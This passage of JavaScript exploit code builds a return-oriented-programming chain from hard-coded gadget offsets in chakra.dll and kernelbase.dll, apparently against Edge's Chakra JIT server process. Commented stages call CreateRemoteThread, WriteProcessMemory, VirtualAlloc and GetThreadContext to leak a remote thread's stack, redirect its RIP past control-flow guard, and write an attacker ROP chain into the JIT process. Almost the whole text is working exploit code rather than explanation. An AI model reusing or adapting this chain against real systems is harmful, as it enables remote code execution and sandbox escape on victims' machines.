write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x72E128, chakraHigh);      // .data pointer from chakra.dll (ensures future cmp r8d, [rax] gadget writes to a valid pointer)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x46377, chakraHigh);       // 0x180046377: pop rcx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x28b4fe, chakraHigh);	   // 0x180043c63: Anything we want - this will never get executed
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0xf6270, chakraHigh);       // 0x1800f6270: mov r9, rcx ; cmp r8d,  [rax] ; je 0x00000001800F6280 ; mov al, r10L ; add rsp, 0x28 ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();

// HANDLE hProcess (RCX)
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x46377, chakraHigh);       // 0x180046377: pop rcx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x74e010, chakraHigh);      // .data pointer from chakra.dll which holds our full perms handle to JIT server
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0xd2125, chakraHigh);       // 0x1800d2125: mov rcx, qword [rcx] ; mov qword [rax+0x20], rcx ; ret (Place duplicated JIT handle into RCX)
next();

// LPSECURITY_ATTRIBUTES lpThreadAttributes (RDX)
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x1d2c9, chakraHigh);       // 0x18001d2c9: pop rdx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00000000, 0x00000000);             // NULL (default security properties)
next();

// SIZE_T dwStackSize (R8)
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x576231, chakraHigh);      // 0x180576231: pop r8 ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00000000, 0x00000000);             // 0 (default stack size)
next();

// Call KERNELBASE!CreateRemoteThread
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x577fd4, chakraHigh);      // 0x180577fd4: pop rax ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], kernelbaseLo+0xdcfd0, kernelbaseHigh); // KERNELBASE!CreateRemoteThread
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x272beb, chakraHigh);      // 0x180272beb: jmp rax (Call KERNELBASE!CreateRemoteThread)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x243949, chakraHigh);      // "return address" for KERNELBASE!CreateRemoteThread - 0x180243949: add rsp, 0x38 ; ret
next(); 
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00000000, 0x00000000);             // LPVOID lpParameter (RSP+0x28)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00000004, 0x00000000);             // DWORD dwCreationFlags (RSP+0x30) (CREATE_SUSPENDED to avoid executing the thread routine)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00000000, 0x00000000);             // LPDWORD lpThreadId (RSP+0x38)
next();

// WriteProcessMemory() ROP chain (Number 2)
// Stage 5 -> Update the final ROP chain, currently in the charka.dll .data section, with the address of our shellcode in the pop rcx gadget for lpAddress

// Before, we need to preserve the thread HANDLE returned by CreateRemoteThread
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x46377, chakraHigh);       // 0x180046377: pop rcx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], kernelbaseLo+0x21a100, kernelbaseHigh); // .data section of kernelbase.dll where we will store the thread HANDLE
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x313349, chakraHigh);       // 0x180313349: mov qword [rcx], rax ; ret (Write the address for storage)
next();

// SIZE_T nSize (R9)
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x577fd4, chakraHigh);      // 0x180577fd4: pop rax ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x72E128, chakraHigh);      // .data pointer from chakra.dll (ensures future cmp r8d, [rax] gadget writes to a valid pointer)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x46377, chakraHigh);       // 0x180046377: pop rcx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00000008, 0x00000000);             // SIZE_T nSize (0x8)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0xf6270, chakraHigh);       // 0x1800f6270: mov r9, rcx ; cmp r8d,  [rax] ; je 0x00000001800F6280 ; mov al, r10L ; add rsp, 0x28 ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();

// HANDLE hProcess (RCX)
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x46377, chakraHigh);       // 0x180046377: pop rcx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0xffffffff, 0xffffffff);             // Current process
next();

// LPVOID lpBaseAddress (RDX)
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x1d2c9, chakraHigh);       // 0x18001d2c9: pop rdx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x74b000+ropoffsetOne, chakraHigh); // .data section of chakra.dll where our final ROP chain is
next();                                                                       

// LPCVOID lpBuffer (R8) (Our kernelbase.dll .data section address which points to the value we want to write, the allocation of the VirtualAllocEx allocation)
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x576231, chakraHigh);         // 0x180576231: pop r8 ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], kernelbaseLo+0x21a000, kernelbaseHigh); // .data section of kernelbase.dll where the VirtualAllocEx allocation is stored
next();

// Call KERNELBASE!WriteProcessMemory
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x577fd4, chakraHigh);      // 0x180577fd4: pop rax ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], kernelbaseLo+0x79a40, kernelbaseHigh); // KERNELBASE!WriteProcessMemory address 
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x272beb, chakraHigh);      // 0x180272beb: jmp rax (Call KERNELBASE!WriteProcessMemory)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x243949, chakraHigh);      // "return address" for KERNELBASE!WriteProcessMemory - 0x180243949: add rsp, 0x38 ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)         
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00000000, 0x00000000);             // SIZE_T *lpNumberOfBytesWritten (NULL) (RSP+0x28)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38
next();

// WriteProcessMemory() ROP chain (Number 3)
// Stage 6 -> Update the final ROP chain, currently in the charka.dll .data section, with the address of our shellcode in the pop rdi gadget for our "fake return address"

// SIZE_T nSize (R9)
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x577fd4, chakraHigh);      // 0x180577fd4: pop rax ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x72E128, chakraHigh);      // .data pointer from chakra.dll (ensures future cmp r8d, [rax] gadget writes to a valid pointer)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x46377, chakraHigh);       // 0x180046377: pop rcx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00000008, 0x00000000);             // SIZE_T nSize (0x8)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0xf6270, chakraHigh);       // 0x1800f6270: mov r9, rcx ; cmp r8d,  [rax] ; je 0x00000001800F6280 ; mov al, r10L ; add rsp, 0x28 ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();

// HANDLE hProcess (RCX)
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x46377, chakraHigh);       // 0x180046377: pop rcx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0xffffffff, 0xffffffff);             // Current process
next();

// LPVOID lpBaseAddress (RDX)
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x1d2c9, chakraHigh);       // 0x18001d2c9: pop rdx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x74b000+ropoffsetTwo, chakraHigh); // .data section of chakra.dll where our final ROP chain is
next();                                                                       

// LPCVOID lpBuffer (R8) (Our kernelbase.dll .data section address which points to the value we want to write, the allocation of the VirtualAllocEx allocation)
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x576231, chakraHigh);         // 0x180576231: pop r8 ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], kernelbaseLo+0x21a000, kernelbaseHigh); // .data section of kernelbase.dll where the VirtualAllocEx allocation is stored
next();

// Call KERNELBASE!WriteProcessMemory
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x577fd4, chakraHigh);      // 0x180577fd4: pop rax ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], kernelbaseLo+0x79a40, kernelbaseHigh); // KERNELBASE!WriteProcessMemory address 
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x272beb, chakraHigh);      // 0x180272beb: jmp rax (Call KERNELBASE!WriteProcessMemory)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x243949, chakraHigh);      // "return address" for KERNELBASE!WriteProcessMemory - 0x180243949: add rsp, 0x38 ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)         
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00000000, 0x00000000);             // SIZE_T *lpNumberOfBytesWritten (NULL) (RSP+0x28)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38
next();

// VirtualAlloc() ROP chain
// Stage 7 -> Allocate some local memory to store the CONTEXT structure from GetThreadContext

// DWORD flProtect (R9)
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x577fd4, chakraHigh);      // 0x180577fd4: pop rax ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x72E128, chakraHigh);      // .data pointer from chakra.dll (ensures future cmp r8d, [rax] gadget writes to a valid pointer)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x46377, chakraHigh);       // 0x180046377: pop rcx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00000004, 0x00000000);             // PAGE_READWRITE (0x4)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0xf6270, chakraHigh);       // 0x1800f6270: mov r9, rcx ; cmp r8d,  [rax] ; je 0x00000001800F6280 ; mov al, r10L ; add rsp, 0x28 ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();

// LPVOID lpAddress (RCX)
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x46377, chakraHigh);       // 0x180046377: pop rcx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00000000, 0x00000000);             // NULL (let VirtualAlloc() decide the address)
next();

// SIZE_T dwSize (RDX) (0x4d0 = sizeof(CONTEXT))
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x1d2c9, chakraHigh);       // 0x18001d2c9: pop rdx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x000004d0, 0x00000000);             // (0x4d0 bytes)
next();

// DWORD flAllocationType (R8) ( MEM_RESERVE | MEM_COMMIT = 0x3000)
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x576231, chakraHigh);      // 0x180576231: pop r8 ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00003000, 0x00000000);             // MEM_RESERVE | MEM_COMMIT (0x3000)
next();

// Call KERNELBASE!VirtualAlloc
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x577fd4, chakraHigh);      // 0x180577fd4: pop rax ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], kernelbaseLo+0x5ac10, kernelbaseHigh); // KERNELBASE!VirtualAlloc address 
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x272beb, chakraHigh);      // 0x180272beb: jmp rax (Call KERNELBASE!VirtualAlloc)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x243949, chakraHigh);      // "return address" for KERNELBASE!VirtualAlloc - 0x180243949: add rsp, 0x38 ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)         
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38     
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38        
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38        
next();

// GetThreadContext() ROP chain
// Stage 8 -> Dump the registers of our newly created thread within the JIT process to leak the stack

// First, let's store some needed offsets of our VirtualAlloc allocation, as well as the address itself, in the .data section of kernelbase.dll
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x46377, chakraHigh);       // 0x180046377: pop rcx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], kernelbaseLo+0x21a108, kernelbaseHigh); // .data section of kernelbase.dll where we will store the VirtualAlloc allocation
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x313349, chakraHigh);       // 0x180313349: mov qword [rcx], rax ; ret (Write the address for storage)
next();

// Save VirtualAlloc_allocation+0x30. This is the offset in our buffer (CONTEXT structure) that is ContextFlags
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x22b732, chakraHigh);       // 0x18022b732: add rax, 0x10 ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x22b732, chakraHigh);       // 0x18022b732: add rax, 0x10 ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x22b732, chakraHigh);       // 0x18022b732: add rax, 0x10 ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x46377, chakraHigh);        // 0x180046377: pop rcx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], kernelbaseLo+0x21a110, kernelbaseHigh); // .data section of kernelbase.dll where we will store CONTEXT.ContextFlags
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x313349, chakraHigh);       // 0x180313349: mov qword [rcx], rax ; ret (Write the address for storage)
next();

// We need to set CONTEXT.ContextFlags. This address (0x30 offset from CONTEXT buffer allocated from VirtualAlloc) is in kernelbase+0x21a110
// The value we need to set is 0x10001F
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x46377, chakraHigh);        // 0x180046377: pop rcx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], kernelbaseLo+0x21a110, kernelbaseHigh); // .data section of kernelbase.dll with CONTEXT.ContextFlags address
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x577fd4, chakraHigh);      // 0x180577fd4: pop rax ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x72E128, chakraHigh);      // .data pointer from chakra.dll (ensures future cmp r8d, [rax] gadget writes to a valid pointer)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0xd2125, chakraHigh);       // 0x1800d2125: mov rcx, qword [rcx] ; mov qword [rax+0x20], rcx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x577fd4, chakraHigh);      // 0x180577fd4: pop rax ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x0010001F, 0x00000000);             // CONTEXT_ALL
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x313349, chakraHigh);      // 0x180313349: mov qword [rcx], rax ; ret (Write the address for storage)
next();

// HANDLE hThread
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x577fd4, chakraHigh);      // 0x180577fd4: pop rax ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x72E128, chakraHigh);      // .data pointer from chakra.dll (ensures future mov qword [rax+0x20], rcx gadget writes to a valid pointer)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x46377, chakraHigh);       // 0x180046377: pop rcx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], kernelbaseLo+0x21a100, kernelbaseHigh); // .data section of kernelbase.dll where our thread HANDLE is
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0xd2125, chakraHigh);       // 0x1800d2125: mov rcx, qword [rcx] ; mov qword [rax+0x20], rcx ; ret (RAX already has valid pointer)
next();

// LPCONTEXT lpContext
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x1d2c9, chakraHigh);       // 0x18001d2c9: pop rdx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], kernelbaseLo+0x21a108-0x8, kernelbaseHigh); // .data section of kernelbase.dll where our VirtualAlloc allocation is (our CONTEXT structure)
next();                                                                      
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x255fa0, chakraHigh);       // mov rdx, qword [rdx+0x08] ; mov rax, rdx ; ret
next();

// Call KERNELBASE!GetThreadContext
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x577fd4, chakraHigh);      // 0x180577fd4: pop rax ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], kernelbaseLo+0x72d10, kernelbaseHigh); // KERNELBASE!GetThreadContext address 
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x272beb, chakraHigh);      // 0x180272beb: jmp rax (Call KERNELBASE!GetThreadContext)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x243949, chakraHigh);       // "return address" for KERNELBASE!GetThreadContext - 0x180243949: add rsp, 0x38 ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)         
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38     
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38        
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38        
next();

// Locate store CONTEXT.Rsp and store it in .data of kernelbase.dll
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x46377, chakraHigh);        // 0x180046377: pop rcx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], kernelbaseLo+0x21a110, kernelbaseHigh); // .data section of kernelbase.dll where we stored CONTEXT.ContextFlags
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x4c37c5, chakraHigh);		// 0x1804c37c5: mov rax, qword [rcx] ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x26f73a, chakraHigh);       // 0x18026f73a: add rax, 0x68 ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x46377, chakraHigh);        // 0x180046377: pop rcx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], kernelbaseLo+0x21a118, kernelbaseHigh); // .data section of kernelbase.dll where we want to store CONTEXT.Rsp
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x313349, chakraHigh);      // 0x180313349: mov qword [rcx], rax ; ret (Write the address for storage)
next();

// Update CONTEXT.Rip to point to a ret gadget directly instead of relying on CreateRemoteThread start routine (which CFG checks)
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x26f72a, chakraHigh);      // 0x18026f72a: add rax, 0x60 ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x46377, chakraHigh);       // 0x180046377: pop rcx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x28b4fe, chakraHigh);	   // ret gadget we want to overwrite our remote thread's RIP with 
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0xfeab, chakraHigh);        // 0x18000feab: mov qword [rax], rcx ; ret  (Context.Rip = ret_gadget)
next();

// WriteProcessMemory() ROP chain (Number 4)
// Stage 9 -> Write our ROP chain to the remote process, using the JIT handle and the leaked stack via GetThreadContext()

// SIZE_T nSize (R9)
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x577fd4, chakraHigh);      // 0x180577fd4: pop rax ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x72E128, chakraHigh);      // .data pointer from chakra.dll (ensures future cmp r8d, [rax] gadget writes to a valid pointer)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x46377, chakraHigh);       // 0x180046377: pop rcx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00000100, 0x00000000);             // SIZE_T nSize (0x100) (CONTEXT.Rsp is writable and a "full" stack, so 0x100 is more than enough)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0xf6270, chakraHigh);       // 0x1800f6270: mov r9, rcx ; cmp r8d,  [rax] ; je 0x00000001800F6280 ; mov al, r10L ; add rsp, 0x28 ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();

// LPVOID lpBaseAddress (RDX)
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x1d2c9, chakraHigh);       // 0x18001d2c9: pop rdx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], kernelbaseLo+0x21a118-0x08, kernelbaseHigh);      // .data section of kernelbase.dll where CONTEXT.Rsp resides
next();                                                                      
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x255fa0, chakraHigh);       // mov rdx, qword [rdx+0x08] ; mov rax, rdx ; ret (Pointer to CONTEXT.Rsp)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x26ef31, chakraHigh);      // 0x18026ef31: mov rax, qword [rax] ; ret (get CONTEXT.Rsp)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x435f21, chakraHigh);      // 0x180435f21: mov rdx, rax ; mov rax, rdx ; add rsp, 0x28 ; ret (RAX and RDX now both have CONTEXT.Rsp)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();

// LPCVOID lpBuffer (R8)
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x576231, chakraHigh);      // 0x180576231: pop r8 ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x74b000+ropBegin, chakraHigh);      // .data section of chakra.dll where our ROP chain is
next();

// HANDLE hProcess (RCX)
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x577fd4, chakraHigh);      // 0x180577fd4: pop rax ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x72E128, chakraHigh);      // .data pointer from chakra.dll (ensures future cmp r8d, [rax] gadget writes to a valid pointer)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x46377, chakraHigh);       // 0x180046377: pop rcx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x74e010, chakraHigh);      // .data pointer from chakra.dll which holds the full perms handle to JIT server
next();
